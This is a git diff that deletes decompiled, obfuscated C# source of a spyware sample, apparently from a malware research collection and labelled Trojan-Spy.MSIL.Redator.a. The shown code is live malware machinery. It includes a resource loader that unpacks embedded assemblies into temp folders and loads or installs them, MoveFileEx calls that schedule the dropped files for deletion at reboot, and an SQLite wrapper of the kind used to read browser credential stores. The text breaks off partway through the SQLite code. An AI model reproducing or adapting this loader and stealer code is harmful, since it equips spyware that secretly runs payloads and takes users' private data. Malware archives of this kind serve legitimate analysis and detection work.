C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using System.Runtime.InteropServices; - -namespace \u0002 -{ - internal sealed class \u0002 - { - internal static long \u0001; - internal static long \u0002; - internal static \u0002.\u0002.\u0001 \u0001; - internal static \u0002.\u0002.\u0001 \u0002; - internal static \u0002.\u0002.\u0002 \u0001; - internal static \u0002.\u0002.\u0002 \u0002; - internal static \u0002.\u0002.\u0003 \u0001; - internal static \u0002.\u0002.\u0003 \u0002; - internal static \u0002.\u0002.\u0004 \u0001; - internal static \u0002.\u0002.\u0004 \u0002; - internal static \u0002.\u0002.\u0005 \u0001; - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0001 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0002 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u0003 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u0004 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0005 - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0003.cs deleted file mode 100644 index e901ae1a..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0003.cs +++ /dev/null @@ -1,300 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0002 -{ - internal class \u0003 - { - private static Hashtable \u0001 = new Hashtable(); - - [DllImport("kernel32", EntryPoint = "MoveFileEx")] - private static extern bool \u0003([In] string obj0, [In] string obj1, [In] int obj2); - - [SpecialName] - internal static bool \u0003() - { - try - { - string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower(); - if (lower == \u0001.\u0001.\u0003(248)) - return true; - if (lower == \u0001.\u0001.\u0003(261)) - return true; - } - catch (Exception ex) - { - } - return false; - } - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002.\u0003.\u0003); - if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0002.\u0003.\u0003()) - return; - string[] strArray = \u0001.\u0001.\u0003(282).Split(','); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - try - { - string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index])); - string str2 = strArray[index + 1]; - if (str2.Length > 0) - { - if (str2[0] == '[') - { - int num = str2.IndexOf(']'); - string str3 = str2.Substring(1, num - 1); - string name = str2.Substring(num + 1); - bool flag = str3.IndexOf('z') >= 0; - if (str3.IndexOf('f') >= 0) - { - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] buffer = new byte[length]; - manifestResourceStream.Read(buffer, 0, length); - if (flag) - buffer = \u0002.\u0001.\u0003(buffer); - try - { - string path1 = string.Format(\u0001.\u0001.\u0003(500), (object) Path.GetTempPath(), (object) name); - Directory.CreateDirectory(path1); - \u0002.\u0003.\u0001 obj = new \u0002.\u0003.\u0001(str1); - string path2 = path1 + obj.\u0001 + \u0001.\u0001.\u0003(513); - if (!File.Exists(path2)) - { - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(buffer, 0, buffer.Length); - fileStream.Close(); - } - \u0003.\u0001.\u0003(path2); - try - { - File.Delete(path2); - Directory.Delete(path1); - } - catch - { - } - } - catch (Exception ex) - { - } - } - } - } - } - } - catch (Exception ex) - { - } - } - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - \u0002.\u0003.\u0001 obj = new \u0002.\u0003.\u0001(obj1.Name); - string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0003(false))); - string[] strArray = \u0001.\u0001.\u0003(282).Split(','); - string str1 = string.Empty; - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String1) - { - str1 = strArray[index + 1]; - break; - } - } - if (str1.Length == 0 && obj.\u0003.Length == 0) - { - string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001)); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String2) - { - str1 = strArray[index + 1]; - break; - } - } - } - if (str1.Length > 0) - { - if (str1[0] == '[') - { - int num = str1.IndexOf(']'); - string str2 = str1.Substring(1, num - 1); - flag1 = str2.IndexOf('z') >= 0; - flag2 = str2.IndexOf('g') >= 0; - flag3 = str2.IndexOf('t') >= 0; - str1 = str1.Substring(num + 1); - } - lock (\u0002.\u0003.\u0001) - { - if (\u0002.\u0003.\u0001.ContainsKey((object) str1)) - return (Assembly) \u0002.\u0003.\u0001[(object) str1]; - } - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] numArray = new byte[length]; - manifestResourceStream.Read(numArray, 0, length); - if (flag1) - numArray = \u0002.\u0001.\u0003(numArray); - if (flag2) - { - try - { - string path1 = string.Format(\u0001.\u0001.\u0003(500), (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path1); - string path2 = path1 + obj.\u0001 + \u0001.\u0001.\u0003(513); - if (!File.Exists(path2)) - { - Assembly assembly = (Assembly) null; - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - if (\u0003.\u0001.\u0003(path2)) - assembly = Assembly.Load(obj.\u0003(true)); - File.Delete(path2); - Directory.Delete(path1); - if ((object) assembly != null) - { - lock (\u0002.\u0003.\u0001) - { - if (\u0002.\u0003.\u0001.ContainsKey((object) str1)) - assembly = (Assembly) \u0002.\u0003.\u0001[(object) str1]; - else - \u0002.\u0003.\u0001.Add((object) str1, (object) assembly); - } - return assembly; - } - } - } - catch - { - } - } - Assembly assembly1 = (Assembly) null; - if (!flag3) - { - try - { - assembly1 = Assembly.Load(numArray); - } - catch (FileLoadException ex) - { - flag3 = true; - } - catch (BadImageFormatException ex) - { - flag3 = true; - } - } - if (flag3) - { - try - { - string path3 = string.Format(\u0001.\u0001.\u0003(500), (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path3); - string path4 = path3 + obj.\u0001 + \u0001.\u0001.\u0003(513); - if (!File.Exists(path4)) - { - FileStream fileStream = File.OpenWrite(path4); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - \u0002.\u0003.\u0003(path4, (string) null, 4); - \u0002.\u0003.\u0003(path3, (string) null, 4); - } - assembly1 = Assembly.LoadFile(path4); - } - catch - { - } - } - lock (\u0002.\u0003.\u0001) - \u0002.\u0003.\u0001.Add((object) str1, (object) assembly1); - return assembly1; - } - } - return (Assembly) null; - } - - internal struct \u0001 - { - public string \u0001; - public Version \u0001; - public string \u0002; - public string \u0003; - - public string \u0003([In] bool obj0) - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append(this.\u0001); - if (obj0) - { - stringBuilder.Append(\u0001.\u0001.\u0003(522)); - stringBuilder.Append((object) this.\u0001); - } - stringBuilder.Append(\u0001.\u0001.\u0003(539)); - stringBuilder.Append(this.\u0002.Length == 0 ? \u0001.\u0001.\u0003(556) : this.\u0002); - stringBuilder.Append(\u0001.\u0001.\u0003(569)); - stringBuilder.Append(this.\u0003.Length == 0 ? \u0001.\u0001.\u0003(594) : this.\u0003); - return stringBuilder.ToString(); - } - - public \u0001([In] string obj0) - { - this.\u0001 = new Version(); - this.\u0002 = string.Empty; - this.\u0003 = string.Empty; - this.\u0001 = string.Empty; - string str1 = obj0; - char[] chArray = new char[1]{ ',' }; - foreach (string str2 in str1.Split(chArray)) - { - string str3 = str2.Trim(); - if (str3.StartsWith(\u0001.\u0001.\u0003(603))) - this.\u0001 = new Version(str3.Substring(8)); - else if (str3.StartsWith(\u0001.\u0001.\u0003(616))) - { - this.\u0002 = str3.Substring(8); - if (this.\u0002 == \u0001.\u0001.\u0003(556)) - this.\u0002 = string.Empty; - } - else if (str3.StartsWith(\u0001.\u0001.\u0003(629))) - { - this.\u0003 = str3.Substring(15); - if (this.\u0003 == \u0001.\u0001.\u0003(594)) - this.\u0003 = string.Empty; - } - else - this.\u0001 = str3; - } - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0001.cs deleted file mode 100644 index 5359b14f..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0001.cs +++ /dev/null @@ -1,175 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0003; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0003 -{ - internal class \u0001 - { - [DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)] - internal static extern int \u0003(out \u0001.\u0007 ppAsmCache, [In] uint obj1); - - public static bool \u0003([In] string obj0) - { - \u0001.\u0007 ppAsmCache = (\u0001.\u0007) null; - return \u0001.\u0003(out ppAsmCache, 0U) == 0 && ppAsmCache.\u0002(0U, obj0, IntPtr.Zero) == 0; - } - - public struct \u0001 - { - public int \u0001; - public int \u0002; - } - - public struct \u0002 - { - public \u0001.\u0001 \u0001; - public long \u0001; - public Guid \u0001; - public \u0001.\u0001 \u0002; - public int \u0001; - public int \u0002; - public int \u0003; - public \u0001.\u0001 \u0003; - public string \u0001; - public int \u0004; - public int \u0005; - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("0000000c-0000-0000-C000-000000000046")] - [ComImport] - public interface \u0003 - { - void \u0001(IntPtr pv, uint cb, out uint pcbRead); - - void \u0002(IntPtr pv, uint cb, out uint pcbWritten); - - void \u0001(long dlibMove, uint dwOrigin, out ulong plibNewPosition); - - void \u0001(ulong libNewSize); - - void \u0001(\u0001.\u0003 pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten); - - void \u0001(uint grfCommitFlags); - - void \u0001(); - - void \u0001(ulong libOffset, ulong cb, uint dwLockType); - - void \u0002(ulong libOffset, ulong cb, uint dwLockType); - - void \u0001(out \u0001.\u0002 pstatstg, uint grfStatFlag); - - void \u0001(out \u0001.\u0003 ppstm); - } - - [Guid("7c23ff90-33af-11d3-95da-00a024a85b51")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0004 - { - void \u0001(\u0001.\u0005 pName); - - void \u0001(out \u0001.\u0005 ppName); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags); - - void \u0001(out int wzDynamicDir, ref uint pdwSize); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")] - [ComImport] - internal interface \u0005 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, uint cbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - object refIID, - object pAsmBindSink, - \u0001.\u0004 pApplicationContext, - [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase, - long llFlags, - int pvReserved, - uint cbReserved, - out int ppv); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint lpcwBuffer, out int pwzName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint pdwVersionHi, out uint pdwVersionLow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(\u0001.\u0005 pName, uint dwCmpFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out \u0001.\u0005 pName); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")] - [ComImport] - internal interface \u0006 - { - void \u0001( - [MarshalAs(UnmanagedType.LPWStr)] string pszName, - uint dwFormat, - uint dwFlags, - uint dwMaxSize, - out \u0001.\u0003 ppStream); - - void \u0002(\u0001.\u0005 pName); - - void \u0001(uint dwFlags); - - void \u0002(uint dwFlags); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")] - [ComImport] - internal interface \u0007 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - uint dwFlags, - IntPtr pvReserved, - out \u0001.\u0006 ppAsmItem, - [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out object ppAsmScavenger); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0002(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0002.cs deleted file mode 100644 index d242344b..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0002.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0002; -using System; - -namespace \u0003 -{ - internal class \u0002 - { - public static void \u0003() - { - try - { - \u0003.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0003.cs deleted file mode 100644 index 4ee76b8f..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0003/_0003.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0004; -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0003 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003 : WindowsFormsApplicationBase - { - public \u0003() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = true; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [STAThread] - internal static void \u0003([In] string[] obj0) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - \u0002.\u0003().Run(obj0); - } - - protected override void OnCreateMainForm() => this.MainForm = (Form) \u0002.\u0003().\u0003(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0001.cs deleted file mode 100644 index 05830a22..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0001.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace \u0004 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0001 : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0002.cs deleted file mode 100644 index 2a1c3ce2..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0002.cs +++ /dev/null @@ -1,154 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0004; -using \u0006; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0004 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0002 - { - private static readonly \u0002.\u0003<\u0001> \u0001 = new \u0002.\u0003<\u0001>(); - private static readonly \u0002.\u0003<\u0003.\u0003> \u0001 = new \u0002.\u0003<\u0003.\u0003>(); - private static readonly \u0002.\u0003 \u0001 = new \u0002.\u0003(); - private static \u0002.\u0003<\u0002.\u0001> \u0001 = new \u0002.\u0003<\u0002.\u0001>(); - private static readonly \u0002.\u0003<\u0002.\u0002> \u0001 = new \u0002.\u0003<\u0002.\u0002>(); - - [DebuggerNonUserCode] - static \u0002() - { - } - - internal static \u0001 \u0003() => \u0002.\u0001.\u0003(); - - internal static \u0003.\u0003 \u0003() => \u0002.\u0001.\u0003(); - - internal static \u0002.\u0001 \u0003() => \u0002.\u0001.\u0003(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0001 - { - public \u0006.\u0003 \u0001; - [ThreadStatic] - private static Hashtable \u0001; - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - - [DebuggerNonUserCode] - public \u0006.\u0003 \u0003() - { - this.\u0001 = \u0002.\u0001.\u0003<\u0006.\u0003>(this.\u0001); - return this.\u0001; - } - - private static T \u0003([In] T obj0) where T : Form, new() - { - if ((object) obj0 != null && !obj0.IsDisposed) - return obj0; - if (\u0002.\u0001.\u0001 != null) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString(\u0001.\u0003(-1567517723))); - } - else - goto label_10; -label_4: - \u0002.\u0001.\u0001.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString(\u0001.\u0003(-1567517798), ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0002.\u0001.\u0001.Remove((object) typeof (T)); - } -label_10: - \u0002.\u0001.\u0001 = new Hashtable(); - goto label_4; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals([In] object obj0) => base.Equals(RuntimeHelpers.GetObjectValue(obj0)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 - { - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals([In] object obj0) => base.Equals(RuntimeHelpers.GetObjectValue(obj0)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003<\u0002> where \u0002 : new() - { - [ThreadStatic] - private static \u0002 \u0001; - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0003() - { - } - - internal \u0002 \u0003() - { - if ((object) \u0002.\u0003<\u0002>.\u0001 == null) - goto label_2; -label_1: - return \u0002.\u0003<\u0002>.\u0001; -label_2: - \u0002.\u0003<\u0002>.\u0001 = new \u0002(); - goto label_1; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0003.cs deleted file mode 100644 index eb096f0f..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0004/_0003.cs +++ /dev/null @@ -1,199 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0004; -using \u0006; -using System; -using System.Data; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0004 -{ - internal sealed class \u0003 - { - private IntPtr \u0001; - - public \u0003() => this.\u0001 = IntPtr.Zero; - - public \u0003([In] string obj0) => this.\u0003(obj0); - - [DllImport("kernel32", EntryPoint = "HeapAlloc")] - private static extern IntPtr \u0003([In] IntPtr obj0, [In] uint obj1, [In] uint obj2); - - [DllImport("kernel32", EntryPoint = "GetProcessHeap")] - private static extern IntPtr \u0003(); - - [DllImport("kernel32", EntryPoint = "lstrlen")] - private static extern int \u0003([In] IntPtr obj0); - - [DllImport("sqlite3", EntryPoint = "sqlite3_open")] - private static extern int \u0003([In] IntPtr obj0, [In] ref IntPtr obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_prepare_v2")] - private static extern int \u0003( - [In] IntPtr obj0, - [In] IntPtr obj1, - [In] int obj2, - [In] ref IntPtr obj3, - [In] ref IntPtr obj4); - - [DllImport("sqlite3", EntryPoint = "sqlite3_step")] - private static extern int \u0004([In] IntPtr obj0); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_count")] - private static extern int \u0005([In] IntPtr obj0); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_name")] - private static extern IntPtr \u0003([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_type")] - private static extern int \u0003([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_int")] - private static extern int \u0004([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_double")] - private static extern double \u0003([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_text")] - private static extern IntPtr \u0004([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_column_blob")] - private static extern IntPtr \u0005([In] IntPtr obj0, [In] int obj1); - - [DllImport("sqlite3", EntryPoint = "sqlite3_finalize")] - private static extern int \u0006([In] IntPtr obj0); - - public void \u0003([In] string obj0) - { - if (\u0003.\u0003(this.\u0003(obj0), ref this.\u0001) != 0) - { - this.\u0001 = IntPtr.Zero; - throw new Exception(\u0001.\u0003(-1567509695) + obj0 + \u0001.\u0003(-1567509658)); - } - } - - public DataTable \u0003([In] string obj0) - { - IntPtr num1; - IntPtr num2; - \u0003.\u0003(this.\u0001, this.\u0003(obj0), this.\u0007(this.\u0003(obj0)), ref num1, ref num2); - DataTable dataTable = new DataTable(); - int num3 = this.\u0003(num1, ref dataTable); - while (num3 == 100) - num3 = this.\u0004(num1, ref dataTable); - \u0003.\u0006(num1); - return dataTable; - } - - private int \u0003([In] IntPtr obj0, [In] ref DataTable obj1) - { - obj1 = new DataTable(\u0001.\u0003(-1567509932)); - if (\u0003.\u0004(obj0) == 100) - goto label_11; -label_10: - return \u0003.\u0004(obj0); -label_11: - int num1 = \u0003.\u0005(obj0); - string empty = string.Empty; - object[] objArray = new object[checked (num1 - 1 + 1)]; - int num2 = checked (num1 - 1); - int index = 0; - while (index <= num2) - { - string columnName = this.\u0003(\u0003.\u0003(obj0, index)); - switch (\u0003.\u0003(obj0, index)) - { - case 1: - obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509894))); - objArray[index] = (object) \u0003.\u0004(obj0, index); - break; - case 2: - obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567510001))); - objArray[index] = (object) \u0003.\u0003(obj0, index); - break; - case 3: - obj1.Columns.Add(columnName, Type.GetType(\u0001.\u0003(-1567509997))); - objArray[index] = 